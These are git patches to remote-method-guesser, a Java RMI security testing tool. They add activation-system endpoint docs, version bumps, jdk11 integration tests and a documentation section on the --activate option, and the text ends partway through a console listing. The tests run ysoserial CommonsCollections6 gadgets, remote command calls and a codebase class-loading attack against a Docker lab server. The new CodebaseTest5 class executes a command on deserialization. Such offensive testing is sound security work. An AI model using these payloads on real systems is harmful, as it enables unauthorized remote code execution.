[https://github.com/openjdk/jdk/tree/ed477da9c69bbb4bae3c9e5bc80b67dcfc31b2b1/src/java.rmi/share/classes/sun/rmi/server](https://github.com/openjdk/jdk/tree/ed477da9c69bbb4bae3c9e5bc80b67dcfc31b2b1/src/java.rmi/share/classes/sun/rmi/server) +* Known Vulnerabilities: + + * Deserialization + * Description: + + > When accessed from localhost, the ActivationSystem is vulnerable to deserialization attacks. + * References: + * [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) + + +### RMI Activator + +--- + +* Name: `RMI Activator` +* Class Names: + * `java.rmi.activation.Activator` +* Description: + + > An Activator can be used to create new instances of activatable objects. It has normally a fixed + > ObjID and is not bound to an RMI registry by name. The activation system was deprecated and removed in 2021. * Remote Methods: ```java - java.rmi.MarshalledObject activate(java.rmi.Activation.ActivationID id, boolean force) + java.rmi.MarshalledObject newInstance(java.rmi.activation.ActivationID id, boolean force) ``` * References: * [https://docs.oracle.com/javase/7/docs/technotes/tools/windows/rmid.html](https://docs.oracle.com/javase/7/docs/technotes/tools/windows/rmid.html) diff --git a/resources/known-endpoints/known-endpoints.yml b/resources/known-endpoints/known-endpoints.yml index a1e7f290..eac952cb 100644 --- a/resources/known-endpoints/known-endpoints.yml +++ b/resources/known-endpoints/known-endpoints.yml @@ -176,18 +176,78 @@ knownEndpoints: - https://github.com/qtc-de/remote-method-guesser -- name: RMI Activator +- name: RMI Activation System className: - sun.rmi.server.Activation$ActivationSystemImpl_Stub + - java.rmi.activation.ActivationSystem description: | The activation system is a legacy component of Java RMI. It allows remote objects to become inactive - and allows clients to activate them when required. The activation system has been removed from newer - versions of Java. Due to the legacy status and the rare usage in practice, the activation system never - got the JEP290 proposals implemented. + and allows clients to activate them when required. The ActivationSystemImpl remote object can be + understood as a management interface for activation. It is only accessible from localhost and this + restriction cannot be bypassed by the --localhost-bypass option. By accessing the ActivationSystemImpl, + it is possible to register new activatable objects and activation groups. The activation system was + deprecated and removed in 2021. + + remoteMethods: + - java.rmi.activation.ActivationID registerObject(java.rmi.activation.ActivationDesc arg) + - void unregisterObject(java.rmi.activation.ActivationID arg) + - java.rmi.activation.ActivationGroupID registerGroup(java.rmi.activation.ActivationGroupDesc arg) + - java.rmi.activation.ActivationMonitor activeGroup(java.rmi.activation.ActivationGroupID arg, java.rmi.activation.ActivationInstantiator arg, long arg) + - void unregisterGroup(java.rmi.activation.ActivationGroupID arg) + - void shutdown() + - java.rmi.activation.ActivationDesc setActivationDesc(java.rmi.activation.ActivationID arg, java.rmi.activation.ActivationDesc arg) + - java.rmi.activation.ActivationGroupDesc setActivationGroupDesc(java.rmi.activation.ActivationGroupID arg, java.rmi.activation.ActivationGroupDesc arg) + - java.rmi.activation.ActivationDesc getActivationDesc(java.rmi.activation.ActivationID arg) + - java.rmi.activation.ActivationGroupDesc getActivationGroupDesc(java.rmi.activation.ActivationGroupID arg) + + references: + - https://docs.oracle.com/javase/7/docs/technotes/tools/windows/rmid.html + - https://github.com/openjdk/jdk/tree/ed477da9c69bbb4bae3c9e5bc80b67dcfc31b2b1/src/java.rmi/share/classes/sun/rmi/server + + vulnerabilities: + - name: Deserialization + description: | + When accessed from localhost, the ActivationSystem is vulnerable to deserialization attacks. + references: + - https://github.com/qtc-de/remote-method-guesser + + +- name: RMI Activation Group + className: + - java.rmi.activation.ActivationGroup_Stub + - java.rmi.activation.ActivationGroup + - java.rmi.activation.ActivationInstantiator + + description: | + Remote object that is associated with an ActivationGroup. Can be used to create new instances of activatable + objects that are registered within the group. The activation system was deprecated and removed in 2021. + + remoteMethods: + - java.rmi.MarshalledObject newInstance(java.rmi.activation.ActivationID id, java.rmi.activation.ActivationDesc desc) + + references: + - https://docs.oracle.com/javase/7/docs/technotes/tools/windows/rmid.html + - https://github.com/openjdk/jdk/tree/ed477da9c69bbb4bae3c9e5bc80b67dcfc31b2b1/src/java.rmi/share/classes/sun/rmi/server + + vulnerabilities: + - name: Deserialization + description: | + ActivationGroup remote objects do not use a deserialization filter. + references: + - https://github.com/qtc-de/remote-method-guesser + + +- name: RMI Activator + className: + - java.rmi.activation.Activator + + description: | + An Activator can be used to create new instances of activatable objects. It has normally a fixed + ObjID and is not bound to an RMI registry by name. The activation system was deprecated and removed in 2021. remoteMethods: - - java.rmi.MarshalledObject activate(java.rmi.Activation.ActivationID id, boolean force) + - java.rmi.MarshalledObject newInstance(java.rmi.activation.ActivationID id, boolean force) references: - https://docs.oracle.com/javase/7/docs/technotes/tools/windows/rmid.html From 7481530a69a4b3dfa0ec4f7f7d50f3ed8d098777 Mon Sep 17 00:00:00 2001 From: TNeitzel Date: Mon, 9 May 2022 07:25:05 +0200 Subject: [PATCH 11/19] [docker] Bump version numbers --- docker/example-server/resources/server/pom.xml | 2 +- docker/ssrf-server/resources/server/pom.xml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/docker/example-server/resources/server/pom.xml b/docker/example-server/resources/server/pom.xml index 3d7afc40..c3694b52 100644 --- a/docker/example-server/resources/server/pom.xml +++ b/docker/example-server/resources/server/pom.xml @@ -3,7 +3,7 @@ 4.0.0 de.qtc.rmg.server.ExampleServer rmg-example-server - 3.2.0 + 3.3.0 rmg-example-server RMG Example Server diff --git a/docker/ssrf-server/resources/server/pom.xml b/docker/ssrf-server/resources/server/pom.xml index 58b3092c..710ab088 100644 --- a/docker/ssrf-server/resources/server/pom.xml +++ b/docker/ssrf-server/resources/server/pom.xml @@ -5,7 +5,7 @@ de.qtc.rmg.server.ssrf rmg-ssrf-server - 1.2.0 + 1.3.0 rmg-ssrf-server RMG SSRF Server From 5299becaaa6255adfe14308f4b23d6fa91733917 Mon Sep 17 00:00:00 2001 From: TNeitzel Date: Mon, 9 May 2022 07:25:51 +0200 Subject: [PATCH 12/19] Bump rmg version number --- README.md | 2 +- pom.xml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index d897b9f6..0bb03654 100644 --- a/README.md +++ b/README.md @@ -4,7 +4,7 @@ [![](https://github.com/qtc-de/remote-method-guesser/workflows/master%20maven%20CI/badge.svg?branch=master)](https://github.com/qtc-de/remote-method-guesser/actions/workflows/master.yml) [![](https://github.com/qtc-de/remote-method-guesser/workflows/develop%20maven%20CI/badge.svg?branch=develop)](https://github.com/qtc-de/remote-method-guesser/actions/workflows/develop.yml) -[![](https://img.shields.io/badge/version-4.2.2-blue)](https://github.com/qtc-de/remote-method-guesser/releases) +[![](https://img.shields.io/badge/version-4.3.0-blue)](https://github.com/qtc-de/remote-method-guesser/releases) [![](https://img.shields.io/badge/build%20system-maven-blue)](https://maven.apache.org/) ![](https://img.shields.io/badge/java-8%2b-blue) [![](https://img.shields.io/badge/license-GPL%20v3.0-blue)](https://github.com/qtc-de/remote-method-guesser/blob/master/LICENSE) diff --git a/pom.xml b/pom.xml index bf65b229..72497e0f 100644 --- a/pom.xml +++ b/pom.xml @@ -8,7 +8,7 @@ remote-method-guesser remote-method-guesser jar - 4.2.2 + 4.3.0 Identify common misconfigurations on Java RMI endpoints From def2126eb85f4bc297c542d83272fea773a6ee7c Mon Sep 17 00:00:00 2001 From: TNeitzel Date: Mon, 9 May 2022 07:39:55 +0200 Subject: [PATCH 13/19] [test] Update jdk11 tests --- tests/jdk11/tests/act.yml | 33 ++++- tests/jdk11/tests/bind.yml | 41 ++++++ tests/jdk11/tests/call.yml | 120 ++++++++++++++++- tests/jdk11/tests/codebase.yml | 31 +++++ tests/jdk11/tests/dgc.yml | 26 ++++ tests/jdk11/tests/enum.yml | 231 +++++++++++++++++++++++++++++++++ tests/jdk11/tests/guess.yml | 39 ++++++ tests/jdk11/tests/method.yml | 40 +++++- tests/jdk11/tests/reg.yml | 27 ++++ tests/tricot.yml | 6 +- tests/utils/CodebaseTest5.java | 17 +++ 11 files changed, 601 insertions(+), 10 deletions(-) create mode 100644 tests/utils/CodebaseTest5.java diff --git a/tests/jdk11/tests/act.yml b/tests/jdk11/tests/act.yml index 3e34323b..cfc4e67f 100644 --- a/tests/jdk11/tests/act.yml +++ b/tests/jdk11/tests/act.yml @@ -17,7 +17,7 @@ variables: tests: - title: Gadget Call description: |- - 'Performs a deserialization attack on the activator endpoint.' + 'Performs a deserialization attack on the Activator endpoint.' 'The expected result is a file being created within the docker' 'volume.' @@ -45,6 +45,37 @@ tests: - '${volume}/${file}' + - title: Gadget Call (Activation System) + description: |- + 'Performs a deserialization attack on the Activator endpoint.' + 'The expected result is a file being created within the docker' + 'volume. This tests targets the Activator that was created by' + 'the activation system.' + + groups: + - ysoserial + + command: + - rmg + - serial + - ${TARGET-ACT} + - CommonsCollections6 + - 'touch ${volume-d}/${file}' + - --component + - act + - ${OPTIONS} + + validators: + - error: False + - regex: + match: + - 'Deserialization attack.+successful' + - file_exists: + cleanup: True + files: + - '${volume}/${file}' + + - title: Invalid Gadget description: |- 'Check whether an incorrect gadget specification is handeled' diff --git a/tests/jdk11/tests/bind.yml b/tests/jdk11/tests/bind.yml index c3d713da..36fd96dd 100644 --- a/tests/jdk11/tests/bind.yml +++ b/tests/jdk11/tests/bind.yml @@ -34,6 +34,26 @@ tests: - --localhost-bypass + - title: Bind Call (Activation System) + description: |- + 'Performs a bind operation on a registry created by the activation system.' + + command: + - rmg + - bind + - ${TARGET-ACT} + - '127.0.0.1:8000' + - ${bound-name} + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - rejected bind call + - --localhost-bypass + + - title: Bind Call (localhost bypass) description: |- 'Performs a bind operation with --localhost-bypass.' @@ -54,6 +74,27 @@ tests: - Localhost bypass was used but failed + - title: Bind Call (Activation System localhost bypass) + description: |- + 'Performs a bind operation with --localhost-bypass on a registry created by the + activation system.' + + command: + - rmg + - bind + - ${TARGET-ACT} + - '127.0.0.1:8000' + - ${bound-name} + - --localhost-bypass + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - Localhost bypass was used but failed + + - title: Rebind Call description: |- 'Performs a rebind operation.' diff --git a/tests/jdk11/tests/call.yml b/tests/jdk11/tests/call.yml index a2dd5640..29b00f3a 100644 --- a/tests/jdk11/tests/call.yml +++ b/tests/jdk11/tests/call.yml @@ -33,7 +33,7 @@ tests: - call - ${TARGET} - '"touch ${volume-d}/${file}"' - - --bound-name + - --bound-name - plain-server - --signature - 'String execute(String dummy)' @@ -59,7 +59,7 @@ tests: - call - ${TARGET} - '"id"' - - --bound-name + - --bound-name - plain-server - --signature - 'String execute(String dummy)' @@ -89,7 +89,7 @@ tests: - call - ${TARGET} - login - - --bound-name + - --bound-name - legacy-service - --signature - 'String login(java.util.HashMap dummy1)' @@ -174,7 +174,7 @@ tests: - call - ${TARGET} - '"id"' - - --bound-name + - --bound-name - legacy-server - --signature - 'String login(java.util.HashMap dummy1)' @@ -197,7 +197,7 @@ tests: - call - ${TARGET} - '5' - - --bound-name + - --bound-name - legacy-service - --signature - 'String login(java.util.HashMap dummy1)' @@ -209,3 +209,113 @@ tests: values: - 5 is invalid - Cannot continue from here + + + - title: Execute Call Activatable + description: |- + 'Invokes the execute function on the activation-test object.' + + command: + - rmg + - call + - ${TARGET-ACT} + - '"touch ${volume-d}/${file}"' + - --bound-name + - activation-test + - --signature + - 'String execute(String dummy)' + - ${OPTIONS} + + validators: + - error: False + - file_exists: + cleanup: True + files: + - '${volume}/${file}' + + + - title: Execute Call Activatable (Response Handler Plugin) + description: |- + 'Invokes the execute function on the activation-test object.' + + groups: + - response-handler + + command: + - rmg + - call + - ${TARGET-ACT} + - '"id"' + - --bound-name + - activation-test + - --signature + - 'String execute(String dummy)' + - --plugin + - ../../utils/PluginTest.jar + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - uid=0(root) + - gid=0(root) + - groups=0(root) + + + - title: System Call (Response Handler Plugin) + description: |- + 'Invokes the system function on the plain-server object.' + + groups: + - response-handler + + command: + - rmg + - call + - ${TARGET-ACT} + - '"/bin/ash", new String[] { "-c", "id" }' + - --bound-name + - plain-server + - --signature + - 'String system(String command, String[] args)' + - --plugin + - ../../utils/PluginTest.jar + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - uid=0(root) + - gid=0(root) + - groups=0(root) + + + - title: System Call Activatable (Response Handler Plugin) + description: |- + 'Invokes the system function on the activation-test object.' + + groups: + - response-handler + + command: + - rmg + - call + - ${TARGET-ACT} + - '"/bin/ash", new String[] { "-c", "id" }' + - --bound-name + - activation-test + - --signature + - 'String system(String command, String[] args)' + - --plugin + - ../../utils/PluginTest.jar + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - uid=0(root) + - gid=0(root) + - groups=0(root) diff --git a/tests/jdk11/tests/codebase.yml b/tests/jdk11/tests/codebase.yml index e95c2401..2158bb5d 100644 --- a/tests/jdk11/tests/codebase.yml +++ b/tests/jdk11/tests/codebase.yml @@ -21,6 +21,7 @@ plugins: - '../../utils/${codebase-class}2.java' - '../../utils/${codebase-class}3.java' - '../../utils/${codebase-class}4.java' + - '../../utils/${codebase-class}5.java' - http_listener: port: 8000 @@ -165,6 +166,36 @@ tests: - '${volume}/${codebase-class}4.txt' + - title: Method Codebase Call (Activatable) + description: |- + 'Performs a codebase attack on the activation-test remote object.' + 'The expected result is a file being created within the docker' + 'volume.' + + command: + - rmg + - codebase + - ${TARGET-ACT} + - '${codebase-class}5' + - 'http://${DOCKER-GW}:8000/' + - --signature + - 'void updatePreferences(java.util.ArrayList preferences)' + - --bound-name + - activation-test2 + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - 'load canary class' + - 'attack probably worked' + - file_exists: + cleanup: True + files: + - '${volume}/${codebase-class}5.txt' + + - title: Missing Signature description: |- 'Performs a codebase attack with missing --signature option and checks' diff --git a/tests/jdk11/tests/dgc.yml b/tests/jdk11/tests/dgc.yml index 2f8a04fa..ef260438 100644 --- a/tests/jdk11/tests/dgc.yml +++ b/tests/jdk11/tests/dgc.yml @@ -61,3 +61,29 @@ tests: values: - rejected deserialization - The supplied gadget did not pass the deserialization filter + + + - title: Gadget Call (Activation System) + description: |- + 'Attempts a deserialization attack on the DGC endpoint.' + 'This should fail, as the server has JEP290 installed.' + + groups: + - ysoserial + + command: + - rmg + - serial + - ${TARGET-ACT} + - CommonsCollections6 + - ls + - --component + - dgc + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - rejected deserialization + - The supplied gadget did not pass the deserialization filter diff --git a/tests/jdk11/tests/enum.yml b/tests/jdk11/tests/enum.yml index a41e6757..1a81e1ca 100644 --- a/tests/jdk11/tests/enum.yml +++ b/tests/jdk11/tests/enum.yml @@ -168,3 +168,234 @@ tests: [+] - Caught IllegalArgumentException during activate call (activator is present). [+] --> Deserialization allowed - Vulnerability Status: Vulnerable [+] --> Client codebase enabled - Configuration Status: Non Default + + + - title: 'Activation Server Enumeration' + command: + - rmg + - enum + - ${TARGET-ACT} + - ${OPTIONS} + + validators: + - error: False + - contains: + description: |- + 'Check whether all registered bound names are detected.' + ignore_case: True + values: + - 'activation-test' + - 'de.qtc.rmg.server.activation.IActivationService (unknown class)' + - 'Activator: iinsecure.dev:1098 ActivationID:' + - 'activation-test2' + - 'de.qtc.rmg.server.activation.IActivationService2 (unknown class)' + - 'Activator: iinsecure.dev:1098 ActivationID:' + - 'plain-server' + - 'de.qtc.rmg.server.interfaces.IPlainServer (unknown class)' + - 'java.rmi.activation.ActivationSystem' + - 'sun.rmi.server.Activation$ActivationSystemImpl_Stub (known class: RMI Activation System)' + invert: + - 'TLS: yes ObjID:' + + - contains: + description: |- + 'Check whether all exposed codebase values are detected.' + ignore_case: True + values: + - http://iinsecure.dev/well-hidden-development-folder/ + + - contains: + description: |- + 'Check whether string marshalling behavior is correctly detected.' + ignore_case: True + values: + - |- + [+] RMI server String unmarshalling enumeration: + [+] + [+] - Server complained that object cannot be casted to java.lang.String. + [+] --> The type java.lang.String is unmarshalled via readString(). + [+] Configuration Status: Current Default + + - contains: + description: |- + 'Check whether the useCodebaseOnly settings is correctly detected.' + ignore_case: True + values: + - |- + [+] RMI server useCodebaseOnly enumeration: + [+] + [+] - RMI registry uses readString() for unmarshalling java.lang.String. + [+] This prevents useCodebaseOnly enumeration from remote. + + - contains: + description: |- + 'Check whether localhost bypass vulnerability is detected.' + ignore_case: True + values: + - |- + [+] RMI registry localhost bypass enumeration (CVE-2019-2684): + [+] + [+] - Registry rejected unbind call cause it was not send from localhost. + [+] Vulnerability Status: Non Vulnerable + + - contains: + description: |- + 'Check whether DGC enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI Security Manager enumeration: + [+] + [+] - Security Manager rejected access to the class loader. + [+] --> The server does use a Security Manager. + [+] Configuration Status: Current Default + + - contains: + description: |- + 'Check whether JEP290 enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI server JEP290 enumeration: + [+] + [+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed). + [+] Vulnerability Status: Non Vulnerable + + - contains: + description: |- + 'Check whether JEP290 Bypass enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI registry JEP290 bypass enmeration: + [+] + [+] - RMI registry uses readString() for unmarshalling java.lang.String. + [+] This prevents JEP 290 bypass enumeration from remote. + + - contains: + description: |- + 'Check whether Activator enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI ActivationSystem enumeration: + [+] + [+] - Caught IllegalArgumentException during activate call (activator is present). + [+] --> Deserialization allowed - Vulnerability Status: Vulnerable + [+] --> Client codebase enabled - Configuration Status: Non Default + + + - title: 'Activation Server Enumeration (--activate)' + command: + - rmg + - enum + - ${TARGET-ACT} + - --activate + - ${OPTIONS} + + validators: + - error: False + - contains: + description: |- + 'Check whether all registered bound names are detected.' + ignore_case: True + values: + - 'activation-test' + - 'de.qtc.rmg.server.activation.IActivationService (unknown class)' + - 'Activator: iinsecure.dev:1098 ActivationID:' + - 'activation-test2' + - 'de.qtc.rmg.server.activation.IActivationService2 (unknown class)' + - 'Activator: iinsecure.dev:1098 ActivationID:' + - 'plain-server' + - 'de.qtc.rmg.server.interfaces.IPlainServer (unknown class)' + - 'java.rmi.activation.ActivationSystem' + - 'sun.rmi.server.Activation$ActivationSystemImpl_Stub (known class: RMI Activation System)' + - 'TLS: yes ObjID:' + + - contains: + description: |- + 'Check whether all exposed codebase values are detected.' + ignore_case: True + values: + - file:/opt/example-server.jar + - http://iinsecure.dev/well-hidden-development-folder/ + + - contains: + description: |- + 'Check whether string marshalling behavior is correctly detected.' + ignore_case: True + values: + - |- + [+] RMI server String unmarshalling enumeration: + [+] + [+] - Server complained that object cannot be casted to java.lang.String. + [+] --> The type java.lang.String is unmarshalled via readString(). + [+] Configuration Status: Current Default + + - contains: + description: |- + 'Check whether the useCodebaseOnly settings is correctly detected.' + ignore_case: True + values: + - |- + [+] RMI server useCodebaseOnly enumeration: + [+] + [+] - RMI registry uses readString() for unmarshalling java.lang.String. + [+] This prevents useCodebaseOnly enumeration from remote. + + - contains: + description: |- + 'Check whether localhost bypass vulnerability is detected.' + ignore_case: True + values: + - |- + [+] RMI registry localhost bypass enumeration (CVE-2019-2684): + [+] + [+] - Registry rejected unbind call cause it was not send from localhost. + [+] Vulnerability Status: Non Vulnerable + + - contains: + description: |- + 'Check whether DGC enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI Security Manager enumeration: + [+] + [+] - Security Manager rejected access to the class loader. + [+] --> The server does use a Security Manager. + [+] Configuration Status: Current Default + + - contains: + description: |- + 'Check whether JEP290 enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI server JEP290 enumeration: + [+] + [+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed). + [+] Vulnerability Status: Non Vulnerable + + - contains: + description: |- + 'Check whether JEP290 Bypass enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI registry JEP290 bypass enmeration: + [+] + [+] - RMI registry uses readString() for unmarshalling java.lang.String. + [+] This prevents JEP 290 bypass enumeration from remote. + + - contains: + description: |- + 'Check whether Activator enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI ActivationSystem enumeration: + [+] + [+] - Caught IllegalArgumentException during activate call (activator is present). + [+] --> Deserialization allowed - Vulnerability Status: Vulnerable + [+] --> Client codebase enabled - Configuration Status: Non Default diff --git a/tests/jdk11/tests/guess.yml b/tests/jdk11/tests/guess.yml index 9b9755ad..22cece26 100644 --- a/tests/jdk11/tests/guess.yml +++ b/tests/jdk11/tests/guess.yml @@ -149,3 +149,42 @@ tests: - void updatePreferences(java.util.ArrayList dummy1) - void logMessage(int dummy1, Object dummy2) - String login(java.util.HashMap dummy1) + + + - title: Activatable Guess + description: |- + 'Performs method guessing on the registry opened by the acivation system.' + + command: + - rmg + - guess + - ${TARGET-ACT} + - --verbose + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - 'You can use --follow to prevent this.' + - 'Methods that take zero arguments are ignored by default. Use --zero-args to guess them' + - 'Ignoring zero argument method: java.lang.String getStatus()' + - 'The following bound names use a known remote object class' + - 'You can use --force-guessing to guess methods anyway' + - 'String execute(String dummy)' + - 'String system(String dummy, String[] dummy2)' + - 'void logMessage(int dummy1, Object dummy2)' + - 'String login(java.util.HashMap dummy1)' + - 'void updatePreferences(java.util.ArrayList dummy1)' + - 'String system(String dummy, String[] dummy2)' + - 'String execute(String dummy)' + - 'java.rmi.activation.ActivationID registerObject(java.rmi.activation.ActivationDesc arg)' + - 'void unregisterObject(java.rmi.activation.ActivationID arg)' + - 'java.rmi.activation.ActivationGroupID registerGroup(java.rmi.activation.ActivationGroupDesc arg)' + - 'java.rmi.activation.ActivationMonitor activeGroup(java.rmi.activation.ActivationGroupID arg, java.rmi.activation.ActivationInstantiator arg, long arg)' + - 'void unregisterGroup(java.rmi.activation.ActivationGroupID arg)' + - 'void shutdown()' + - 'java.rmi.activation.ActivationDesc setActivationDesc(java.rmi.activation.ActivationID arg, java.rmi.activation.ActivationDesc arg)' + - 'java.rmi.activation.ActivationGroupDesc setActivationGroupDesc(java.rmi.activation.ActivationGroupID arg, java.rmi.activation.ActivationGroupDesc arg)' + - 'java.rmi.activation.ActivationDesc getActivationDesc(java.rmi.activation.ActivationID arg)' + - 'java.rmi.activation.ActivationGroupDesc getActivationGroupDesc(java.rmi.activation.ActivationGroupID arg)' diff --git a/tests/jdk11/tests/method.yml b/tests/jdk11/tests/method.yml index 7b015f8d..a54af588 100644 --- a/tests/jdk11/tests/method.yml +++ b/tests/jdk11/tests/method.yml @@ -38,7 +38,7 @@ tests: - rmg - serial - ${TARGET} - - CommonsCollections6 + - CommonsCollections6 - 'touch ${volume-d}/${file}' - --signature - 'String system(String dummy, String[] dummy2)' @@ -72,7 +72,7 @@ tests: - rmg - serial - ${TARGET} - - CommonsCollections6 + - CommonsCollections6 - 'touch ${volume-d}/${file}' - --signature - 'void releaseRecord(int recordID, String tableName, Integer remoteHashCode)' @@ -94,6 +94,40 @@ tests: - '${volume}/${file}' + - title: Gadget Call (Activatable) + description: |- + 'Performs a deserialization attack on the updatePreferences function of the' + 'activation-test2 object.' + + groups: + - ysoserial + + command: + - rmg + - serial + - ${TARGET-ACT} + - CommonsCollections6 + - 'touch ${volume-d}/${file}' + - --signature + - 'void updatePreferences(java.util.ArrayList dummy1)' + - --bound-name + - activation-test2 + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - java.util.ArrayList + - Caught ClassNotFoundException + - deserialize canary + - probably worked + - file_exists: + cleanup: True + files: + - '${volume}/${file}' + + - title: Plugin Call description: |- 'Uses a plugin as payload provider that returns the string that was specified' @@ -143,7 +177,7 @@ tests: - rmg - serial - ${TARGET} - - CommonsCollections6 + - CommonsCollections6 - 'touch ${volume-d}/${file}' - --signature - 'String execute(String dummy)' diff --git a/tests/jdk11/tests/reg.yml b/tests/jdk11/tests/reg.yml index 0fc7409d..bf862701 100644 --- a/tests/jdk11/tests/reg.yml +++ b/tests/jdk11/tests/reg.yml @@ -63,6 +63,33 @@ tests: - readString() + - title: Gadget Call (Activation) + description: |- + 'Attempts a deserialization attack on the registry endpoint created by' + 'the activation system. This should fail, as the server uses readString' + 'for unmarshalling.' + + groups: + - ysoserial + + command: + - rmg + - serial + - ${TARGET-ACT} + - CommonsCollections6 + - ls + - --component + - reg + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - Caught ClassCastException + - readString() + + - title: JEP290 Bypass description: |- 'Attempts a deserialization attack on the registry endpoint,' diff --git a/tests/tricot.yml b/tests/tricot.yml index c6a9e470..4792bd61 100644 --- a/tests/tricot.yml +++ b/tests/tricot.yml @@ -18,7 +18,7 @@ tester: ge: 1.9.0 variables: - rmg: rmg-4.2.2-jar-with-dependencies.jar + rmg: rmg-4.3.0-jar-with-dependencies.jar volume: /tmp/rmg-tricot-test/ volume-d: /rce/ codebase-class: CodebaseTest @@ -29,6 +29,9 @@ variables: - ${DOCKER-IP} - 1090 - --ssl + TARGET-ACT: + - ${DOCKER-IP} + - 1098 OPTIONS: - --no-color @@ -46,6 +49,7 @@ plugins: - utils/CodebaseTest2.class - utils/CodebaseTest3.class - utils/CodebaseTest4.class + - utils/CodebaseTest5.class - utils/PluginTest.jar diff --git a/tests/utils/CodebaseTest5.java b/tests/utils/CodebaseTest5.java new file mode 100644 index 00000000..57e5b098 --- /dev/null +++ b/tests/utils/CodebaseTest5.java @@ -0,0 +1,17 @@ +import java.io.Serializable; +import java.io.ObjectInputStream; +import java.rmi.server.RemoteObject; + +public class CodebaseTest5 extends RemoteObject implements Serializable +{ + private static String cmd = "/bin/touch"; + private static final long serialVersionUID = 2L; + + private void readObject(ObjectInputStream aInputStream) throws ClassNotFoundException, Exception + { + String fileName = "/rce/" + getClass().getName() + ".txt"; + Process p = new ProcessBuilder(cmd, fileName).start(); + p.waitFor(); + p.destroy(); + } +} From 37c3f374aa7b795249d32f0c0510fdf278b96099 Mon Sep 17 00:00:00 2001 From: TNeitzel Date: Tue, 10 May 2022 06:56:35 +0200 Subject: [PATCH 14/19] Update action documentation Added documentation on the --activate option during the enum action. --- docs/rmg/actions.md | 64 +++++++++++++++++++++++++++++++++++++-- tests/jdk11/tests/act.yml | 2 +- 2 files changed, 63 insertions(+), 3 deletions(-) diff --git a/docs/rmg/actions.md b/docs/rmg/actions.md index e907b395..f13e8d1c 100644 --- a/docs/rmg/actions.md +++ b/docs/rmg/actions.md @@ -226,7 +226,7 @@ Corresponding class names can be used in *remote-method-guesser's* ``known`` act [+] [+] - jmxrmi [+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server) -[+] Endpoint: iinsecure.dev:42222 ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722] +[+] Endpoint: iinsecure.dev:42222 TLS: no ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722] [+] [qtc@devbox ~]$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] Name: @@ -280,7 +280,67 @@ Corresponding class names can be used in *remote-method-guesser's* ``known`` act ``` Apart from the bound names and the class information, *remote-method-guesser* displays information on the remote -objects ``ObjID`` and the corresponding *RMI endpoint* the bound name is referring to. +objects ``ObjID``, the location of the corresponding *RMI endpoint* the bound name is referring to and whether +connections to the *RMI endpoint* are encrypted (*TLS*). + + +#### Activatable Bound Names + +In some cases, bound names listed by *remote-method-guesser* use a different format as mentioned above. This +is usually the case when the *RMI server* uses an *Activation System* and *activatable remote objects*. The +following listing shows an example for this situation: + +```console +[qtc@devbox ~]$ rmg enum 172.17.0.2 1098 +[+] RMI registry bound names: +[+] +[+] - activation-test +[+] --> de.qtc.rmg.server.activation.IActivationService (unknown class) +[+] Activator: iinsecure.dev:1098 ActivationID: 6fd4e3c:180ac45a068:-7ff1 +[+] - activation-test2 +[+] --> de.qtc.rmg.server.activation.IActivationService2 (unknown class) +[+] Activator: iinsecure.dev:1098 ActivationID: 6fd4e3c:180ac45a068:-7fee +[+] - plain-server +[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) +[+] Endpoint: iinsecure.dev:41867 TLS: no ObjID: [6fd4e3c:180ac45a068:-7fec, 969949632761859811] +[+] - java.rmi.activation.ActivationSystem +[+] --> sun.rmi.server.Activation$ActivationSystemImpl_Stub (known class: RMI Activation System) +[+] Endpoint: iinsecure.dev:1098 TLS: no ObjID: [0:0:0, 4] +``` + +Instead of displaying the target endpoint, the *TLS* status and the associated `ObjID`, *remote-method-guesser* +displays the targeted *Activator* instance and the associated `ActivationID`. + +In contrast to ordinary remote objects, that can be called directly, activatable remote objects need to be activated +first. The idea is, that the server components that implement the activatable remote objects can suspend and do not +need to be available all the time. When a client wants to call such an object, it uses the `ActivationID` obtained from +the *RMI registry* and sends it to the *Activator endpoint*. The *Activator* is when responsible to start the associated +remote object and returns an ordinary `UnicastRef` to the client. This reference is when used for the call. + +Whereas all other actions of *remote-method-guesser* perform activation implicitly, for the `enum` action, you need use +the command line option `--activate` if you want to activate objects during ernumeration. When doing so, *remote-method-guesser* +dispatches one additional call to the *Activator* for each `ActivatableRef` bound to the *RMI registry*. Information from +the obtaied `UnicastRef` is then displayed as usual below the activation related information: + +```console +[qtc@devbox ~]$ rmg enum 172.17.0.2 1098 --activate +[+] RMI registry bound names: +[+] +[+] - activation-test +[+] --> de.qtc.rmg.server.activation.IActivationService (unknown class) +[+] Activator: iinsecure.dev:1098 ActivationID: 6fd4e3c:180ac45a068:-7ff1 +[+] Endpoint: iinsecure.dev:37597 TLS: no ObjID: [1c74dc89:180ac521427:-7ffb, 3078273701606404425] +[+] - activation-test2 +[+] --> de.qtc.rmg.server.activation.IActivationService2 (unknown class) +[+] Activator: iinsecure.dev:1098 ActivationID: 6fd4e3c:180ac45a068:-7fee +[+] Endpoint: iinsecure.dev:35721 TLS: yes ObjID: [1c74dc89:180ac521427:-7ff8, 6235870260204364974] +[+] - plain-server +[+] --> 